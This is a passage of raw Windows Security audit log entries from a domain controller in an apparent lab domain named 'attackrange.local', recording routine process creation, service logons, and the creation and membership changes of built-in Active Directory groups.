Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248079
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x35c
	New Process Name:	C:\Windows\System32\services.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2cc
	Creator Process Name:	C:\Windows\System32\wininit.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248189
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Process Information:
	New Process ID:		0x3f8
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\svchost.exe -k RPCSS

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248188
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		NETWORK SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E4

Privileges:		SeAssignPrimaryTokenPrivilege
			SeAuditPrivilege
			SeImpersonatePrivilege
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248187
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		NETWORK SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x35c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248186
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1e0
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\svchost.exe -k DcomLaunch

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248185
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248184
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x35c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4755
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248183
Keywords=Audit Success
Message=A security-enabled universal group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Enterprise Key Admins
	Group Name:		Enterprise Key Admins
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4754
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248182
Keywords=Audit Success
Message=A security-enabled universal group was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Enterprise Key Admins
	Group Name:		Enterprise Key Admins
	Group Domain:		ATTACKRANGE

Attributes:
	SAM Account Name:	Enterprise Key Admins
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4737
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248181
Keywords=Audit Success
Message=A security-enabled global group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Key Admins
	Group Name:		Key Admins
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4727
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248180
Keywords=Audit Success
Message=A security-enabled global group was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

New Group:
	Security ID:		ATTACKRANGE\Key Admins
	Group Name:		Key Admins
	Group Domain:		ATTACKRANGE

Attributes:
	SAM Account Name:	Key Admins
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4737
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248179
Keywords=Audit Success
Message=A security-enabled global group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Protected Users
	Group Name:		Protected Users
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4727
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248178
Keywords=Audit Success
Message=A security-enabled global group was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

New Group:
	Security ID:		ATTACKRANGE\Protected Users
	Group Name:		Protected Users
	Group Domain:		ATTACKRANGE

Attributes:
	SAM Account Name:	Protected Users
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4737
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248177
Keywords=Audit Success
Message=A security-enabled global group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Cloneable Domain Controllers
	Group Name:		Cloneable Domain Controllers
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4727
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248176
Keywords=Audit Success
Message=A security-enabled global group was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

New Group:
	Security ID:		ATTACKRANGE\Cloneable Domain Controllers
	Group Name:		Cloneable Domain Controllers
	Group Domain:		ATTACKRANGE

Attributes:
	SAM Account Name:	Cloneable Domain Controllers
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248175
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Denied RODC Password Replication Group
	Group Name:		Denied RODC Password Replication Group
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4732
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248174
Keywords=Audit Success
Message=A member was added to a security-enabled local group.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Member:
	Security ID:		ATTACKRANGE\Read-only Domain Controllers
	Account Name:		CN=Read-only Domain Controllers,CN=Users,DC=attackrange,DC=local

Group:
	Security ID:		ATTACKRANGE\Denied RODC Password Replication Group
	Group Name:		Denied RODC Password Replication Group
	Group Domain:		ATTACKRANGE

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4755
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248173
Keywords=Audit Success
Message=A security-enabled universal group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Enterprise Read-only Domain Controllers
	Group Name:		Enterprise Read-only Domain Controllers
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4754
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248172
Keywords=Audit Success
Message=A security-enabled universal group was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Enterprise Read-only Domain Controllers
	Group Name:		Enterprise Read-only Domain Controllers
	Group Domain:		ATTACKRANGE

Attributes:
	SAM Account Name:	Enterprise Read-only Domain Controllers
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248171
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Denied RODC Password Replication Group
	Group Name:		Denied RODC Password Replication Group
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248170
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Denied RODC Password Replication Group
	Group Name:		Denied RODC Password Replication Group
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4737
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248169
Keywords=Audit Success
Message=A security-enabled global group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Read-only Domain Controllers
	Group Name:		Read-only Domain Controllers
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4727
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248168
Keywords=Audit Success
Message=A security-enabled global group was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

New Group:
	Security ID:		ATTACKRANGE\Read-only Domain Controllers
	Group Name:		Read-only Domain Controllers
	Group Domain:		ATTACKRANGE

Attributes:
	SAM Account Name:	Read-only Domain Controllers
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248167
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Denied RODC Password Replication Group
	Group Name:		Denied RODC Password Replication Group
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4732
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248166
Keywords=Audit Success
Message=A member was added to a security-enabled local group.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Member:
	Security ID:		ATTACKRANGE\krbtgt
	Account Name:		CN=krbtgt,CN=Users,DC=attackrange,DC=local

Group:
	Security ID:		ATTACKRANGE\Denied RODC Password Replication Group
	Group Name:		Denied RODC Password Replication Group
	Group Domain:		ATTACKRANGE

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248165
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Denied RODC Password Replication Group
	Group Name:		Denied RODC Password Replication Group
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4732
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248164
Keywords=Audit Success
Message=A member was added to a security-enabled local group.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Member:
	Security ID:		ATTACKRANGE\Domain Controllers
	Account Name:		CN=Domain Controllers,CN=Users,DC=attackrange,DC=local

Group:
	Security ID:		ATTACKRANGE\Denied RODC Password Replication Group
	Group Name:		Denied RODC Password Replication Group
	Group Domain:		ATTACKRANGE

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248163
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Denied RODC Password Replication Group
	Group Name:		Denied RODC Password Replication Group
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4732
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248162
Keywords=Audit Success
Message=A member was added to a security-enabled local group.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Member:
	Security ID:		ATTACKRANGE\Cert Publishers
	Account Name:		CN=Cert Publishers,CN=Users,DC=attackrange,DC=local

Group:
	Security ID:		ATTACKRANGE\Denied RODC Password Replication Group
	Group Name:		Denied RODC Password Replication Group
	Group Domain:		ATTACKRANGE

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248161
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Denied RODC Password Replication Group
	Group Name:		Denied RODC Password Replication Group
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4732
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248160
Keywords=Audit Success
Message=A member was added to a security-enabled local group.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Member:
	Security ID:		ATTACKRANGE\Domain Admins
	Account Name:		CN=Domain Admins,CN=Users,DC=attackrange,DC=local

Group:
	Security ID:		ATTACKRANGE\Denied RODC Password Replication Group
	Group Name:		Denied RODC Password Replication Group
	Group Domain:		ATTACKRANGE

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248159
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Denied RODC Password Replication Group
	Group Name:		Denied RODC Password Replication Group
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4732
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248158
Keywords=Audit Success
Message=A member was added to a security-enabled local group.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Member:
	Security ID:		ATTACKRANGE\Group Policy Creator Owners
	Account Name:		CN=Group Policy Creator Owners,CN=Users,DC=attackrange,DC=local

Group:
	Security ID:		ATTACKRANGE\Denied RODC Password Replication Group
	Group Name:		Denied RODC Password Replication Group
	Group Domain:		ATTACKRANGE

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248157
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Denied RODC Password Replication Group
	Group Name:		Denied RODC Password Replication Group
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4731
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248156
Keywords=Audit Success
Message=A security-enabled local group was created.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

New Group:
	Security ID:		ATTACKRANGE\Denied RODC Password Replication Group
	Group Name:		Denied RODC Password Replication Group
	Group Domain:		ATTACKRANGE

Attributes:
	SAM Account Name:	Denied RODC Password Replication Group
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:44:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=248155
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Allowed RODC Password Replication Group
